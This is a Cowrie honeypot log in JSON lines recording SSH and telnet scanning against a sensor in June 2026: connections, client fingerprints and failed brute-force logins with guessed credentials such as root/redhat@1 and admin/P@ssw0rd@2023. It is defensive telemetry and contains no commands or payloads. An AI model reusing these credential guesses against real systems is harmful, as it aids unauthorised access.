{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:12.154583Z","src_ip":"76.79.213.69","session":"df1c14ba2543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:12.276758Z","src_ip":"76.79.213.69","session":"df1c14ba2543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat@1","message":"login attempt [root/redhat@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:12.801636Z","src_ip":"76.79.213.69","session":"df1c14ba2543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:13.205997Z","src_ip":"160.251.185.39","session":"43caed65b23f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:13.929005Z","src_ip":"76.79.213.69","session":"df1c14ba2543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":38410,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0b51fdc0f01","protocol":"ssh","message":"New connection: 5.89.75.194:38410 (10.17.0.5:22) [session: e0b51fdc0f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:26.710405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:26.714978Z","src_ip":"5.89.75.194","session":"e0b51fdc0f01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:26.819026Z","src_ip":"5.89.75.194","session":"e0b51fdc0f01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"exploit","password":"exploit","message":"login attempt [exploit/exploit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:27.257717Z","src_ip":"5.89.75.194","session":"e0b51fdc0f01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:45:28.369459Z","src_ip":"5.89.75.194","session":"e0b51fdc0f01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":51818,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d645db11194","protocol":"ssh","message":"New connection: 103.82.20.28:51818 (159.203.135.109:22) [session: 6d645db11194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:46:55.434400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:46:55.441564Z","src_ip":"103.82.20.28","session":"6d645db11194","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:46:55.702455Z","src_ip":"103.82.20.28","session":"6d645db11194","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01111985","message":"login attempt [root/01111985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:46:56.486241Z","src_ip":"103.82.20.28","session":"6d645db11194","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":55496,"dst_ip":"10.17.0.5","dst_port":22,"session":"f17491c692ab","protocol":"ssh","message":"New connection: 189.203.163.10:55496 (10.17.0.5:22) [session: f17491c692ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:46:56.719789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:46:56.724710Z","src_ip":"189.203.163.10","session":"f17491c692ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:46:56.788613Z","src_ip":"189.203.163.10","session":"f17491c692ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reviews","password":"reviews","message":"login attempt [reviews/reviews] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:46:57.071215Z","src_ip":"189.203.163.10","session":"f17491c692ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:46:57.750196Z","src_ip":"103.82.20.28","session":"6d645db11194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:46:58.135350Z","src_ip":"189.203.163.10","session":"f17491c692ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46326,"dst_ip":"159.203.135.109","dst_port":23,"session":"c462403ed0f4","protocol":"telnet","message":"New connection: 128.199.8.54:46326 (159.203.135.109:23) [session: c462403ed0f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:03.664693Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":40816,"dst_ip":"10.17.0.5","dst_port":22,"session":"c22965af090e","protocol":"ssh","message":"New connection: 160.251.185.39:40816 (10.17.0.5:22) [session: c22965af090e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:04.167216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:04.171811Z","src_ip":"160.251.185.39","session":"c22965af090e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:04.341937Z","src_ip":"160.251.185.39","session":"c22965af090e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd@2023","message":"login attempt [admin/P@ssw0rd@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:05.058770Z","src_ip":"160.251.185.39","session":"c22965af090e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":44374,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc81b45e0411","protocol":"ssh","message":"New connection: 103.27.238.114:44374 (10.17.0.5:22) [session: cc81b45e0411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:06.222450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:06.228385Z","src_ip":"103.27.238.114","session":"cc81b45e0411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:06.232926Z","src_ip":"160.251.185.39","session":"c22965af090e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:06.488653Z","src_ip":"103.27.238.114","session":"cc81b45e0411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mike123","message":"login attempt [root/mike123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:07.270985Z","src_ip":"103.27.238.114","session":"cc81b45e0411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:08.533350Z","src_ip":"103.27.238.114","session":"cc81b45e0411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":34730,"dst_ip":"10.17.0.5","dst_port":22,"session":"926ece048bdd","protocol":"ssh","message":"New connection: 76.79.213.69:34730 (10.17.0.5:22) [session: 926ece048bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:23.073786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:23.077774Z","src_ip":"76.79.213.69","session":"926ece048bdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:23.198580Z","src_ip":"76.79.213.69","session":"926ece048bdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Paris2026","message":"login attempt [root/Paris2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:23.717406Z","src_ip":"76.79.213.69","session":"926ece048bdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:24.839969Z","src_ip":"76.79.213.69","session":"926ece048bdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":37408,"dst_ip":"10.17.0.5","dst_port":22,"session":"258bdb9149af","protocol":"ssh","message":"New connection: 5.89.75.194:37408 (10.17.0.5:22) [session: 258bdb9149af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:25.609499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:25.613204Z","src_ip":"5.89.75.194","session":"258bdb9149af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:25.714005Z","src_ip":"5.89.75.194","session":"258bdb9149af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bala","password":"bala@123","message":"login attempt [bala/bala@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:26.152433Z","src_ip":"5.89.75.194","session":"258bdb9149af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:27.260957Z","src_ip":"5.89.75.194","session":"258bdb9149af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.57401657104492,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:47:42.238537Z","src_ip":"128.199.8.54","session":"c462403ed0f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46774,"dst_ip":"159.203.135.109","dst_port":23,"session":"2402c51ece9f","protocol":"telnet","message":"New connection: 172.81.62.90:46774 (159.203.135.109:23) [session: 2402c51ece9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:00.804556Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.91.108.32","src_port":9282,"dst_ip":"10.17.0.5","dst_port":23,"session":"b92c7d69f583","protocol":"telnet","message":"New connection: 142.91.108.32:9282 (10.17.0.5:23) [session: b92c7d69f583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:02.452621Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":49036,"dst_ip":"10.17.0.5","dst_port":22,"session":"48116066be30","protocol":"ssh","message":"New connection: 201.17.146.173:49036 (10.17.0.5:22) [session: 48116066be30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:08.030725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:08.035536Z","src_ip":"201.17.146.173","session":"48116066be30","protocol":"ssh"}
